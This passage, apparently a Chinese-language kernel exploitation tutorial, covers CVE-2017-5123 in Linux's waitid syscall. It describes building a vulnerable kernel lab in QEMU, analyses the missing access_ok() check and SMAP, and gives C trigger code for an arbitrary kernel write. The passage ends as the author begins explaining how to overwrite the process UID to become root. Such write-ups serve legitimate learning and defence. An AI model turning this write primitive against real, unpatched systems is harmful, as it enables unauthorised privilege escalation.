PoC CVE-2017-5123 - LPE - 绕过 SMEP/SMAP。无 KASLR
上游内核中的 waitid 实现未限制复制信息结果的目标位置。这可能允许本地用户写入原本受保护的内核内存,从而导致权限提升。
在这篇小文章中,我将分析一个允许我们获取 root 权限的内核漏洞。
本文分为四个部分:
我想指出,有许多更好的方法来利用此 CVE(实际上,这只是一个用于学习内核的 PoC,不能用于 实际攻击),但我认为这种方法可以作为内核漏洞利用的入门。
此漏洞是在 4c48abe91be0 中引入的,因此我们需要编译该版本的内核。
这可能有点棘手,因为这是一个旧版本,代码可能需要补丁。
我创建了一个仓库,其中包含已打补丁的内核代码和一个 .config 文件,你可以 克隆并编译。
git clone https://github.com/c3r34lk1ll3r/kernel_mirror.git
cd kernel_mirror
git checkout origin/modified_v4.14
wget https://gist.githubusercontent.com/c3r34lk1ll3r/c9c34ae86140cc7a24d0d90141686ee8/raw/52431b577a71e3fe8f89d6ce355ce9c1c54c53b6/.config
make -j 8 --output-sync=recurse
注意,此内核将使用 virtio 驱动编译,因此你可以使用 virtio 磁盘 在宿主机和虚拟机之间共享文件。
现在,我们将创建初始 rootfs:
qemu-img create -f raw hda.raw 10G
# 格式化磁盘为 ext4
mkfs.ext4 ./hda.raw
# 为镜像创建挂载点
mkdir /tmp/mount1
# 挂载磁盘
sudo mount -o loop ./hda.raw /tmp/mount1
然后,我们需要安装一个基本的 Linux 发行版,例如使用 pacstrap 或 debootstrap。
sudo pacstrap /tmp/mount1 base base-devel vim
最后,我们可以修改系统:
# 添加一个 'test' 用户
echo 'test:x:1000:1000::/home/test:/bin/bash' | sudo tee -a /tmp/mount1/etc/passwd
# 无密码
echo 'test::14871::::::' | sudo tee -a /tmp/mount1/etc/shadow
# 我们可以挂载 virtio 磁盘,以便在宿主机和客户机之间共享文件
echo '/transient /home/test/shared 9p trans=virtio,version=9p2000.L,rw,user,exec 0 0' | sudo tee -a /tmp/mount1/etc/fstab
sudo mkdir -p /tmp/mount1/home/test/shared
# 拥有 sudo 权限很有用
echo '%wheel ALL=(ALL) NOPASSWD: ALL' | sudo tee -a /tmp/mount1/etc/sudoers
echo 'wheel:x:998:test' | sudo tee -a /tmp/mount1/etc/group
sudo chown -R 1000:1000 /tmp/mount1/home/test
sudo umount /tmp/mount1
如果一切正常,我们现在可以用 qemu 启动我们的测试系统:
qemu-system-x86_64 \
-kernel ./kernel_mirror/arch/x86_64/boot/bzImage \
-hda ./hda.raw \
-m 4G \
-cpu "Skylake-Client-IBRS,ss=on,vmx=on,hypervisor=on,tsc-adjust=on,clflushopt=on,umip=on,md-clear=on,stibp=on,arch-capabilities=on,ssbd=on,xsaves=on,pdpe1gb=on,ibpb=on,amd-ssbd=on,skip-l1dfl-vmentry=on,hle=off,rtm=off" \
-smp 4 \
-vga virtio \
-enable-kvm \
-nographic \
-machine type=q35,accel=kvm \
-virtfs "fsdriver=local,id=fs.1,path=./trans_fs,security_model=mapped,writeout=immediate,mount_tag=/transient" \
-append "root=/dev/sda rw noquiet nokaslr console=ttyS0 loglevel=5" \
-chardev "vc,id=vc.0,cols=1920,rows=1080" \
-net "user,hostfwd=tcp::10022-:22" \
-net "nic" \
-s
CVE 的描述指出,在 waitid 系统调用期间存在不受限制的写入操作。
让我们打开 kernel/exit.c 并查看代码:
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
infop, int, options, struct rusage __user *, ru)
{
struct rusage r;
struct waitid_info info = {.status = 0};
long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
int signo = 0;
if (err > 0) {
signo = SIGCHLD;
err = 0;
if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
return -EFAULT;
}
if (!infop)
return err;
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
return err;
Efault:
user_access_end();
return -EFAULT;
}
这个函数相当直接:经过几次检查后,多次调用 unsafe_put_user(...),然后函数返回。
该函数的主要部分由 unsafe_put_user(...) 函数组成,所以我们来看一下(arch/x86/include/asm/uaccess.h):
/*
* The "unsafe" user accesses aren't really "unsafe", but the naming
* is a big fat warning: you have to not only do the access_ok()
* checking before using them, but you have to surround them with the
* user_access_begin/end() pair.
*/
#define user_access_begin() __uaccess_begin()
#define user_access_end() __uaccess_end()
#define unsafe_put_user(x, ptr, err_label) \
do { \
int __pu_err; \
__typeof__(*(ptr)) __pu_val = (x); \
__put_user_size(__pu_val, (ptr), sizeof(*(ptr)), __pu_err, -EFAULT); \
if (unlikely(__pu_err)) goto err_label; \
} while (0)
#define unsafe_get_user(x, ptr, err_label) \
do { \
int __gu_err; \
__inttype(*(ptr)) __gu_val; \
__get_user_size(__gu_val, (ptr), sizeof(*(ptr)), __gu_err, -EFAULT); \
(x) = (__force __typeof__(*(ptr)))__gu_val; \
if (unlikely(__gu_err)) goto err_label; \
} while (0)
注释中有一个 非常重要的警告:如果你想使用 unsafe_put/get_user,你应该先调用 access_ok(),并用 user_access_begin/end() 将它们包围起来。
如果我们看看前面的代码(waitid),会发现 access_ok() 从未被调用,因此系统调用 违反了 此 警告。
但这些宏是什么呢?
SMAP 和 SMEP 是内核引入的两个安全特性,旨在增加编写漏洞利用的难度。需要注意的是,这些特性由 CPU 强制执行。
SMEP 防止在 CPU 处于超级用户模式时 执行 用户空间代码;而 SMAP 则阻止对用户内存的 读/写 访问。
内核需要向用户内存写入/读取数据,这可以通过两种方式完成:
copy_from_user 等函数将内存复制到内核空间;正如我们在 unsafe_put_user 的定义中看到的,该函数只会将 x 的值复制到 ptr 指向的内存(如果出错则跳转到 err_label)。我们刚刚提到内核无法访问用户空间,因为 SMAP,这就是为什么这些函数应该被包裹在 user_access_begin/end() 之间。
#define __uaccess_begin() stac()
#define __uaccess_end() clac()
我们可以看到,user_access_begin/end 实际上就是 ASM 指令 stac 和 clac。
stac:“设置 EFLAGS 寄存器中的 AC 标志位。这可能会启用用户模式数据访问的对齐检查。即使 CR4 寄存器中设置了 SMAP 位,这也允许显式的超级用户模式数据访问到用户模式页面。”clac:“清除 EFLAGS 寄存器中的 AC 标志位。这会禁用任何用户模式数据访问的对齐检查。如果 CR4 寄存器中设置了 SMAP 位,这会禁止显式的超级用户模式数据访问到用户模式页面。”基本上,这两个宏用于启用/禁用 SMAP。
我们之前的“警告”还提到了 access_ok 函数:
/**
* access_ok: - 检查用户空间指针是否有效
* @type: 访问类型:%VERIFY_READ 或 %VERIFY_WRITE。注意
* %VERIFY_WRITE 是 %VERIFY_READ 的超集——如果可以安全
* 地写入一个块,那么从中读取也总是安全的。
* @addr: 要检查的块开始的用户空间指针
* @size: 要检查的块的大小
*
* 上下文:仅用户上下文。如果启用了页面错误,此函数可能会休眠。
*
* 检查用户空间中指向内存块的指针是否有效。
*
* 如果内存块可能有效,则返回 true(非零),如果确定无效,则返回 false(零)。
*
* 注意,根据架构,此函数可能仅检查指针是否在用户空间范围内——调用此函数后,
* 内存访问函数仍可能返回 -EFAULT。
*/
#define access_ok(type, addr, size) \
({ \
WARN_ON_IN_IRQ(); \
likely(!__range_not_ok(addr, size, user_addr_max())); \
})
这里的注释不言而喻:此宏检查指针是否是有效的 用户空间指针。
让我们再看看 waitid 的代码:
user_access_begin();
unsafe_put_user(signo, &infop->si_signo, Efault);
unsafe_put_user(0, &infop->si_errno, Efault);
unsafe_put_user(info.cause, &infop->si_code, Efault);
unsafe_put_user(info.pid, &infop->si_pid, Efault);
unsafe_put_user(info.uid, &infop->si_uid, Efault);
unsafe_put_user(info.status, &infop->si_status, Efault);
user_access_end();
正如你已猜到的,缺少 access_ok() 导致可以 在内存中任意写入,因为 infop 指针完全由攻击者控制。
很容易到达易受攻击的路径,我们可以用下面的简单代码创建一个 触发器:
int thread_ready;
int die_thread(void *arg){
thread_ready=1;
syscall(__NR_sched_yield);
return 0;
}
void *stack;
int trigger_bug(uint64_t where, int what){
printf("[0] Trying to overwrite 0x%016lx\r", where);
//int pid = fork(); // 也可以使用 fork 系统调用
thread_ready = 0;
int pid = clone(die_thread, stack, CLONE_VM | CLONE_FS|CLONE_FILES|CLONE_SYSVSEM | SIGCHLD, NULL);
int err;
while(thread_ready == 0) {syscall(__NR_sched_yield);} // 我们需要等待线程
err = syscall(__NR_waitid, P_PID, pid, where, WEXITED, NULL);
return err;
}
这段简单的代码将触发漏洞,并向 where 地址指向的内存写入数据。
如果需要,我们可以使用 gdb 检查这个触发器。例如,我们可以选择一个 任意 地址,并使用 trigger_bug 函数覆盖它。
此漏洞有多种利用方式,但我更喜欢一种非常简单的方法。
请记住,我们可以写入我们想要的任何位置,但写入的数据是部分受控的。我们可以用 0 覆盖一个地址。
基本思想是覆盖我们进程的 UID 并成为 root,但我们首先需要了解 Linux 中的凭据是什么。
我们从研究 fork 系统调用开始。该函数用于创建新进程。